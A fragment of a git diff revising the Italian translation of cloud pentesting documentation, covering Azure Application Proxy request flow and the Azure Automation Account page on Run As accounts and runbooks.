 5. Il connettore invia la richiesta all'**applicazione on-premises**.
-6. La **risposta** viene inviata tramite il connettore e il servizio Proxy delle Applicazioni **all'utente**.
+6. La **risposta** viene inviata tramite il connettore e il servizio Application Proxy **all'utente**.
 
 ## Enumerazione
 ```powershell
diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md
index 18ecbcf24..772dd11db 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md
@@ -4,17 +4,17 @@
 
 ## Informazioni di base
 
-[Dal documento:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation offre un servizio di automazione basato su cloud, aggiornamenti del sistema operativo e gestione della configurazione che supporta una gestione coerente nei tuoi ambienti Azure e non Azure. Include automazione dei processi, gestione della configurazione, gestione degli aggiornamenti, capacità condivise e funzionalità eterogenee.
+[Dal documento:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation offre un servizio di automazione basato su cloud, aggiornamenti del sistema operativo e configurazione che supporta una gestione coerente nei tuoi ambienti Azure e non Azure. Include automazione dei processi, gestione della configurazione, gestione degli aggiornamenti, capacità condivise e funzionalità eterogenee.
 
 Questi sono come "**compiti pianificati**" in Azure che ti permetteranno di eseguire cose (azioni o anche script) per **gestire**, controllare e configurare l'**ambiente Azure**.
 
-### Account Esegui Come
+### Account Run As
 
-Quando viene utilizzato l'**Account Esegui Come**, crea un'**applicazione** Azure AD con certificato autofirmato, crea un **principale di servizio** e assegna il ruolo di **Collaboratore** per l'account nella **sottoscrizione attuale** (molti privilegi).\
+Quando si utilizza l'**Account Run As**, viene creata un'**applicazione** Azure AD con certificato autofirmato, viene creato un **principale di servizio** e viene assegnato il ruolo di **Collaboratore** per l'account nella **sottoscrizione attuale** (molti privilegi).\
 Microsoft consiglia di utilizzare un'**Identità Gestita** per l'Account di Automazione.
 
 > [!WARNING]
-> Questo sarà **rimosso il 30 settembre 2023 e cambiato per Identità Gestite.**
+> Questo sarà **rimosso il 30 settembre 2023 e sostituito con Identità Gestite.**
 
 ## Runbooks e Lavori
 
@@ -28,7 +28,7 @@ Vai su `Automation Accounts` --> `